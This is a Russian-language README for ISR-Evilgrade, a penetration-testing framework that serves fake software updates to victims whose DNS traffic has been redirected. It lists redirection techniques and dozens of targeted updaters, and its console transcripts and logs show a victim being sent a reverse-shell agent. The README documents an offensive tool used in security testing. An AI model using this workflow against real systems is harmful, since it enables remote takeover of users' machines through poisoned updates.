Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [КРАТКИЙ ОБЗОР] ::.

Evilgrade — это модульный фреймворк, который позволяет пользователю использовать недостатки реализации обновлений, внедряя поддельные обновления. Он поставляется с готовыми бинарными файлами (агентами), рабочей конфигурацией по умолчанию для быстрых пентестов и имеет собственные модули WebServer и DNSServer. Легко настраивать новые параметры, и есть автоматическая конфигурация при добавлении новых бинарных агентов.

* Когда следует использовать evilgrade?

Этот фреймворк вступает в игру, когда атакующий может выполнять перенаправление имен хостов (манипуляцию DNS-трафиком жертвы), и это может быть сделано в двух сценариях:

Внутренний сценарий:

Доступ к внутреннему DNS
ARP-спуфинг
Отравление DNS-кеша
DHCP-спуфинг
Угон TCP-соединения
Имитация точки доступа Wi-Fi

Внешний сценарий:

Доступ к внутреннему DNS
Отравление DNS-кеша

* Как это работает?

Evilgrade работает с модулями, каждый модуль содержит реализованную структуру, необходимую для эмуляции поддельного обновления для конкретного приложения/системы.

* Какие ОС поддерживаются?

ISR-Evilgrade является кроссплатформенным, он зависит только от наличия подходящей полезной нагрузки (payload) для правильной целевой платформы для эксплуатации.

Реализованные модули:

Freerip 3.30
Jet photo 4.7.2
Teamviewer 5.1.9385
ISOpen 4.5.0
Istat.
Gom 2.1.25.5015
Atube catcher 1.0.300
Vidbox 7.5
Ccleaner 2.30.1130
Fcleaner 1.2.9.409
Allmynotes 1.26
Notepad++ 5.8.2
Java 1.6.0_22 winxp/win7
aMSN 0.98.3
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
Mirc 7.14
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
Dap 9.5.0.3
Winscp 4.2.9
AutoIt Script 3.3.6.1
Clamwin 0.96.0.1
AppTapp Installer 3.11 (Iphone/Itunes)
getjar (facebook.com)
Google Analytics Javascript injection
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
Winamp 5.581
TechTracker (cnet) 1.3.1 (Build 55)
Nokiasoftware firmware update 2.4.8es - (Windows software)
Nokia firmware v20.2.011
BSplayer 2.53.1034
Apt ( < Ubuntu 10.04 LTS)
Ubertwitter 4.6 (0.971)
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
Cpan 1.9402
VirtualBox (3.2.8 )
Express talk
Filezilla
Flashget
Miranda
Orbit
Photoscape.
Panda Antirootkit
Skype
Sunbelt
Superantispyware
Trillian <= 5.0.0.26
Adium 1.3.10 (Sparkle Framework)
VMware
more...

/docs/CHANGES

.:: [ОСНОВНОЕ ИСПОЛЬЗОВАНИЕ] ::.

Работает аналогично консоли IOS.``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

## Список реализованных модулей``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

Настроить указанный модуль``` console

evilgrade>conf sunjava evilgrade(sunjava)>

#### Показать все VirtualHosts.
#### Поле VirtualHost содержит домены, которые наш веб-сервер будет эмулировать для нас.``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

Показать опции текущего модуля.

agent: Это наш поддельный бинарник обновления, необходимо указать путь к его расположению или реализовать динамическую генерацию поддельного бинарника обновления (см. ADVANCED).``` console

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

#### Запуск служб (DNS Server и WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

Показать журналы статуса и жертв``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

## .:: [ГЛУБОКОЕ ИСПОЛЬЗОВАНИЕ] ::.

### Команды
#### configure / conf - Настроить <module-name>

Пример:
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>

evilgrade>conf sunjava
evilgrade(sunjava)>

evilgrade

Популярное